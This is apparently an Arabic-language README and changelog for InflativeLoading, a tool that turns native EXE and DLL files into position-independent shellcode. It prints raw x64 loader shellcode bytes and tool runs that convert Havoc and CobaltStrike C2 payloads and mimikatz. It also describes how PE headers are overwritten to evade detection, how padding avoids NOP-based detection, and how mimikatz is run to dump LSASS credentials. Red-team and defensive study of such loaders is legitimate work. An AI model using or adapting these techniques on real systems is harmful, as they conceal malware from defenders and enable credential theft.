
تحويل ديناميكي لملف EXE أو DLL غير مُدار إلى شيلكود PIC بإضافة شيلكود استباقي.
المقال: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading
في هذا القسم، يتم تقديم التحديثات الرئيسية. تتضمن التحديثات الرئيسية الدعم أو الميزات المضافة.
فقط بضع وحدات بايت في رأس PE، مثل e_lfanew و RVA لدليل الاستيراد، ضرورية لإكمال عملية التحميل. لذلك، يمكن الكتابة فوق الوحدات البايت الأخرى بوحدات عشوائية لإخفاء توقيعات رأس PE.
بعد اكتمال جميع العمليات، سيتم أيضًا الكتابة فوق هذه الوحدات البايت لإخفاء كامل. على سبيل المثال، من لقطة الشاشة أدناه، يمكننا ملاحظة أن رأس PE مخفي إلى حد كبير، لكن e_lfanew يظل غير مخفي لأغراض التحميل. ولكن بعد عملية التحميل، يتم إخفاء e_lfanew أيضًا.

ومع ذلك، اعتمادًا على البرنامج المحدد، قد لا يكون الإخفاء متوافقًا معه. يجب أن تعرف كيف يعمل البرنامج. على سبيل المثال، حمولة Havoc DLL عديمة الحالة غير متوافقة مع ميزة الإخفاء لأن DLL يستخدم أيضًا رأس PE.

حمولة Havoc EXE عديمة المراحل تعمل بشكل جيد مع الإخفاء:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] 3 iterations are needed
[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;
[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......
Generated shellcode successfully saved in file havocsc.bin
[#] Shellcode located at address 0x1ae8ab70000
[!] PRESS TO EXECUTE SHELLCODED EXE...
### 4/11/2024 استبدال NOP المحشوة بتسلسلات تعليمات شبيهة بـ NOP
قبل التحديث، كانت تعليمات `0x90/NOP` تُحشى بعد كعب الشيلكود الفعلي لمحاذاة صفحة ذاكرة. قد تشكل العديد من تعليمات NOP مؤشرًا للكشف، لذلك، يختار البرنامج النصي InflativeLoading ديناميكيًا تسلسلات تعليمات NOP-Like المحددة مسبقًا. يمكن للمستخدمين أيضًا إضافة تسلسلات جديدة أو استبدال الموجودة لتحقيق تشويش أفضل.```python
nop_like_instructions = [
{"instruction": [0x90], "length": 1}, # NOP
{"instruction": [0x86, 0xdb], "length": 2}, # xchg bl, bl;
{"instruction": [0x66, 0x87, 0xf6], "length": 3}, # xchg si, si;
{"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4}, # xchg rax, rbx; xchg rbx, rax;
{"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4}, # add dx, 0
{"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6}, # inc rax; dec rax;
{"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6}, # neg r8; neg r8;
{"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7}, # add rax,0x1; dec rax;
{"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10}, # sub rcx, 2; inc rcx; inc rcx
]
أضفت منطقًا إضافيًا للشيل كود للتعامل مع بعض الاستثناءات غير الشائعة. على سبيل المثال، في حمولة DLL عديمة الحالة من CobaltStrike، بعض إدخالات إعادة التوطين الأساسية غير صالحة لأن RVA للصفحة أكبر من حجم الصورة.
حجم الصورة هو 0x58000.

ومع ذلك، بعض RVAs أكبر من 0x58000.

بالإضافة إلى ذلك، يخرج الشيل كود من البرنامج بأمان بعد تنفيذ الشيل كود المحول.
الآن يمكن للأداة عرض مزيد من المعلومات وتقديم اقتراحات لتخصيص الذاكرة:```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);
يبلغ حجم قشرة الشيلكود الثابتة `0x1000` بايت، وحجم رأس PE الثابت `0x1000` بايت، ويختلف حجم قسم النص والأقسام الأخرى.
### 4/11/2024 إضافة دعم لـ DLL غير مُدار
بعد التحديث، يمكن أيضًا تحويل ملفات DLL غير المُدارة إلى شيلكود PIC. تم اجتياز حالات الاختبار لـ DLL المخصصة، وحمولة DLL غير المرحلية لـ Havoc، وحمولة DLL غير المرحلية لـ CobaltStrike.```powershell
PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin
[+] The file is a DLL file
[+] Image base of mapped .\havocdll.dll is 0x1a730000
[+] e_lfanew of mapped .\havocdll.dll is 0x80
[+] imageSize of mapped .\havocdll.dll is 0x1e000
[+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0
[+] Offset of section Header of mapped .\havocdll.dll is 0x188
[+] Size of text section of mapped .\havocdll.dll is 0x18000
[+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin
PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havocdll.bin -e true -o false -b havocdllsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗
██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝
██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗
██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝
██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗
╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee
Github Repository: https://github.com/senzee1984/InflativeLoading
Twitter: senzee@1984
Website: https://winslow1984.com
Description: Dynamically convert a native PE to PIC shellcode
Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80
[+] Shellcode Stub size: 850 bytes
[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes
[!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70"
buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04"
buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48"
buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d"
buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f"
buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c"
buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb"
buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b"
buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd"
buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c"
buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3"
buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0"
buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74"
buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01"
buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c"
buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80"
buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10"
buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c"
buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6"
buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0"
......126576 more bytes......
Generated shellcode successfully saved in file havocdllsc.bin
[#] Shellcode located at address 0x2108a9d0000
[!] PRESS TO EXECUTE SHELLCODED EXE...

قمت بتعديل طفيف في الكود الذي يقوم بإصلاح IAT، لأنني وجدت بعض الأسطر غير ضرورية. بعد ذلك، أصبح بإمكان InflativeLoading تنفيذ بعض برامج EXE المضغوطة بـ UPX، بما في ذلك calc.exe و PsExec. ومع ذلك، فقط بعض البرامج المضغوطة. أولاً، من غير المحتمل أن أختبر جميع تكوينات الضغط الممكنة لجميع البرامج التي تم اختبارها. للسبب الثاني، يرجى متابعة القراءة:
بالنسبة للبرامج التي لا تحتوي على delayed import directory، يمكن لـ InflativeLoading تنفيذ إصداراتها المضغوطة بـ UPX. مع ذلك، على عكس البرامج غير المضغوطة، تحتوي البرامج المضغوطة على ILT فارغ تمامًا.
خذ calc.exe العادي كمثال، حيث يكون ILT و IAT متطابقين لجميع الوحدات.

لكن بالنسبة لـ calc.exe المضغوطة بـ UPX، يكون ILT فارغًا لجميع الإدخالات في دليل الاستيراد.

لكن إذا كان البرنامج يحتوي على delayed import directory، مثل Mimikatz، يصبح الأمر أكثر تعقيدًا.
بالنسبة لـ mimikatz.exe العادي، يكون دليل الاستيراد المتأخر كما يلي:

لكن بالنسبة لـ mimikatz.exe المضغوطة بـ UPX، لا يتمكن PE Bear من تحليلها، وكذلك أنا.

أدناه حالة اختبار ناجحة لـ calc.exe المضغوطة بـ UPX.

أحد أهدافي هو تحويل ملف exe إلى شيل كود. بهذه الطريقة، يمكن استخدام بعض أدوات الأمان مثل Mimikatz بمرونة أكبر. على الرغم من أن بعض الأدوات مثل Donut قد حققت ذلك بالفعل، إلا أنني ما زلت أرغب في إنشاء أداة كهذه باستخدام منهجي الخاص، وآمل أن تتمكن من تقديم بعض التحسينات.
مدفوعًا ومستلهمًا من بعض الأدوات والتقنيات الكلاسيكية والحديثة، InflativeLoading هي أداة يمكنها تحويل EXE/DLL غير مُدار إلى شيل كود PIC بشكل ديناميكي.
باختصار، يقوم InflativeLoading بإنشاء دعامة شيل كود وإرفاقها بالوحدة الرئيسية لملف PE المُفرَّغ.
تتكون الأداة من DumpPEFromMemory.exe و InflativeLoading.py.
المكونان التاليان مطلوبان لتحويل ملف PE غير مُدار إلى شيل كود.
يُستخدم DumpPEFromMemory.exe للحصول على النسخة الموجودة في الذاكرة من ملف PE المحدد.
بالنسبة لبرامج EXE، يعمل عن طريق إنشاء عملية في حالة معلقة وتفريغ الوحدة الرئيسية إلى ملف ثنائي (على جهاز التطوير الخاص بك). لماذا؟ تقوم عملية التحميل الانعكاسي النموذجية بتعيين كل قسم من ملف PE إلى منطقة ذاكرة مخصصة حديثًا. فيما يتعلق بهذا، لدي مخاوفان: أولاً، على الرغم من أن بيانات كل قسم متسقة جوهريًا سواء كانت موجودة على القرص أو في الذاكرة، فقد لا تزال هناك اختلافات معينة لملفات PE معينة أو تحت ظروف محددة.```c
// Code snippet from Maldev course
for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
memcpy(
(PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA
(PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA
pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size
);
}
بالنسبة لملفات `DLL`، يقوم DumPEFromMemory بإنشاء تعيين ملف ويرسم عرضًا للملف دون تنفيذ DllMain().
ثانيًا، محتوى ملف PE موجود بالفعل في ذاكرة المحمل (كمصفوفة بايت)، لكن المحمل يخصص مساحة ذاكرة مرة أخرى. يتم إكمال تنفيذ DumpPEFromMemory على جهاز التطوير الخاص بالمشغل. يحصل المشغل على تفريغ لملف PE عند تحميله في الذاكرة. على الرغم من أن بعض البيانات لا تزال تتطلب تحديثات، إلا أن تخصيص منطقة ذاكرة على جهاز الضحية غير ضروري.
بهذه الطريقة، بدلاً من تعيين ملف يدويًا، نحتاج فقط إلى تصحيح مناطق بيانات محددة مثل `Import Directory`, `Base Relocation Table Directory`, `Delayed Load Import Descriptors Directory`، إلخ.
سيتم حفظ الوحدة الرئيسية التي تم تفريغها كملف ثنائي لإلحاقها بـ shellcode stub.
على سبيل المثال، يقوم DumpPEFromMemory بتنفيذ الأداة الكلاسيكية mimikatz، ويقوم بتفريغ وحدتها الرئيسية في ملف ثنائي.```powershell
PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\mimikatz.exe mimikatz.bin
[+] The file is an EXE file
[+] Process PID: 23052
[+] PEB Address:00000000004A5000
[+] Image Base Address:00007FF730E00000
[+] e_lfanew is 0x120
[+] Size Of The Image : 0x137000
[+] Size Of Optional Header : 0xf0
[+] Size Of text Section : 0xc5000
[+] Size of other sections of mapped .\mimikatz.exe is 0x71000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
[+] 29 iterations are needed
[+] Data successfully written to mimikatz.bin. Total bytes read: 0x137000

و تفريغ حمولة Havoc DLL من الذاكرة:```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin

### سكريبت InflativeLoading Script
يقوم السكريبت بإنشاء شيلكود ديناميكيًا ويضيفه في بداية ملف التفريغ.
يقوم الشيلكود بالمهام التالية:
1. السير عبر PEB والعثور على kernel32.dll
2. تحديث سطر الأوامر
3. تحليل kernel32.dll للحصول على عنوان دالتي LoadLibraryA و GetProcAddress.
4. تحديد موقع ملف التفريغ الملحق باستخدام إزاحة
5. إصلاح جدول الواردات (Import Directory)، جدول إعادة التحديد الأساسي (Base Relocation Table Directory)، جدول واصفات تحميل الواردات المتأخرة (Delayed Load Import Descriptors Directory)، وغيرها بشكل ديناميكي
6. اختيار إخفاء رأس PE
7. تحويل التنفيذ إلى نقطة الدخول لملف PE.
8. الخروج بشكل سلس
على سبيل المثال، استخدم السكريبت لقراءة mimikatz الذي تم تفريغه سابقًا وتزويد سطر الأوامر المناسب لتفريغ بيانات الاعتماد في LSASS:

على الرغم من أن شيلكود يجب أن يكون عادةً أقل من 1000 بايت، إلا أن السكريبت لا يزال يقوم بحشوه إلى 4096 بايت لمحاذاة حدود صفحات الذاكرة. ثم يمكن للمشغل بسهولة تعيين أذونات الصفحة المناسبة لمناطق الذاكرة المختلفة. يوفر أداة التفريغ اقتراحًا لتخصيص الذاكرة:```powershell
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
أعتقد أنك اطلعت بالفعل على مكوني InflativeLoading، باختصار:
حالات الاستخدام المثلى والمشكلات أو القيود المعروفة للحصول على معلومات حول اختيار ملفات PE.نظرًا لأن InflativeLoading في مراحله المبكرة، فلا يتم دعم كل ملف exe جيدًا. يتم دعم DLL غير المُدارة جيدًا؛ سيأتي تنفيذ دالة التصدير في التحديث التالي!
✅ برنامج وحدة تحكم أصلي لا يعتمد على الوسائط، مثل implant C2 بدون مراحل، برنامج وحدة تحكم مخصص بسيط.
✅ برنامج وحدة تحكم أصلي مع وحدة تحكم/شيل تفاعلي، مثل Mimikatz.
✅ DLL غير مُدارة
✔️ لا تتطلب وظائف تصدير محددة، مما يجعلها أكثر مرونة تجاه ملفات PE التي لا يمكن الوصول بسهولة إلى كودها المصدري وتجميعها.
✔️ يتجنب النتائج غير المقصودة بسبب الاختلافات بين ملف PE على القرص وفي الذاكرة في بعض الحالات.
✔️ يلغي الحاجة إلى التحويل بين الإزاحة الأصلية للملف و RVA.
✔️ يتجنب تخصيص مساحة ذاكرة إضافية.
✔️ يتجنب مناطق الذاكرة RWX.
✔️ حتى بالنسبة لمناطق الذاكرة RX، لا يبدأ بخاصية MZ، مما يزيد من صعوبة التحقيق.
☑️ دعم EXE الأصلي العادي
☑️ دعم DLL غير المُدارة
☑️ دعم EXE/DLL الذي يحتوي على دليل استيراد مؤجل (Delayed Import Directory)
☑️ إصلاح IAT
☑️ إصلاح دليل إعادة التوطين الأساسي (Base Relocation Directory)
☑️ تم اجتياز الاختبارات مع برامج كلاسيكية مثل calc و mimikatz و PsExec وغيرها.
☑️ تم اجتياز الاختبارات مع حمولات C2 كلاسيكية، مثل حمولة CobaltStrike و Havoc بدون مراحل من نوع DLL/EXE.
☑️ دعم جزئي للبرامج المعبأة (packed programs).
⚠️ قد يتم إصلاح بعض المشكلات التالية في المستقبل، بينما يظل بعضها خارج النطاق نظرًا لطبيعتها.
سطر الأوامر المُقدَّم لا يعمل دائمًا بشكل صحيح. إنه مجال رئيسي سأركز عليه.
لا يعمل جيدًا مع برامج واجهة المستخدم الرسومية (GUI)، مثل mspaint.exe. لكن calc.exe يعمل بشكل جيد.
لا يعمل مع جميع البرامج المعبأة. يمكن تنفيذ بعض البرامج المعبأة بشكل جيد، الأمر يعتمد على كل حالة على حدة.
لا يعمل مع البرامج التي تتطلب تبعيات أخرى، مثل DLLs المخصصة.
يدعم فقط x64، ولا أخطط لإضافة دعم لبرامج x86.
إذا واجهت أيًا من المشكلات أو القيود المذكورة أعلاه، فقد يتعطل تنفيذ الشيلكود، أو قد لا يتمكن البرنامج المُحوَّل من تحديد سطر الأوامر بشكل صحيح، أو قد لا يكون هناك استجابة.
على سبيل المثال، يمكن تحويل PsExec.exe إلى شيلكود PIC، ومع ذلك، لا يمكن التعرف على سطر الأوامر الذي يوفره المستخدم بشكل صحيح.```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin
<...SNIP...>
Generated shellcode successfully saved in file psexec_merged.bin
[#] Shellcode located at address 0x27159360000
[!] PRESS TO EXECUTE SHELLCODED EXE...
Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation
Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.
## حالات الاختبار
| البرنامج | التنسيق | هل يحتوي على واجهة رسومية؟ | وسائط مُقدَّمة؟ | تنفيذ ناجح | تنفيذ صحيح مع الوسائط |
| ----------- | ----------- | ----------- |----------- | ----------- |----------- |
| برامج C/C++ مخصصة بسيطة | EXE |لا | لا |:heavy_check_mark: | غير قابل للتطبيق |
| DLL مخصص بسيط | DLL |لا | لا |:heavy_check_mark: | غير قابل للتطبيق |
| حمولة EXE من Havoc وCobaltStrike | EXE |لا | لا |:heavy_check_mark: | غير قابل للتطبيق |
| حمولة DLL من Havoc وCobaltStrike | DLL |لا | لا |:heavy_check_mark: | غير قابل للتطبيق |
| calc.exe | EXE | نعم | لا |:heavy_check_mark: |غير قابل للتطبيق |
| mimikatz.exe | EXE | لا | نعم |:heavy_check_mark: |:heavy_check_mark: |
| PsExec | EXE | لا |نعم |:heavy_check_mark: |:no_entry_sign:|
| mspaint.exe | EXE | نعم |لا | :no_entry_sign: |غير قابل للتطبيق|
| البرامج المُضغوطة | EXE | لا |لا | جزئي|غير قابل للتطبيق|
توجد إصدارات مفرَّغة (dumped) من calc.exe و mimikatz.exe في مجلد `bin/` من المستودع.
## تحسينات مستقبلية
:bell: من المتوقع إضافة الميزات والتحسينات التالية في المستقبل.
+ أداة تحميل منفصلة لبرامج .NET.
+ إضافة دعم لوظائف التصدير (export functions) في DLL.
+ إضافة دعم لمزيد من البرامج المضغوطة.
+ تحسين الكود الرديء 😊
## الشكر والمراجع
ألهمتني الموارد التالية كثيراً أثناء بحثي وتطويري:
<https://github.com/TheWover/donut>
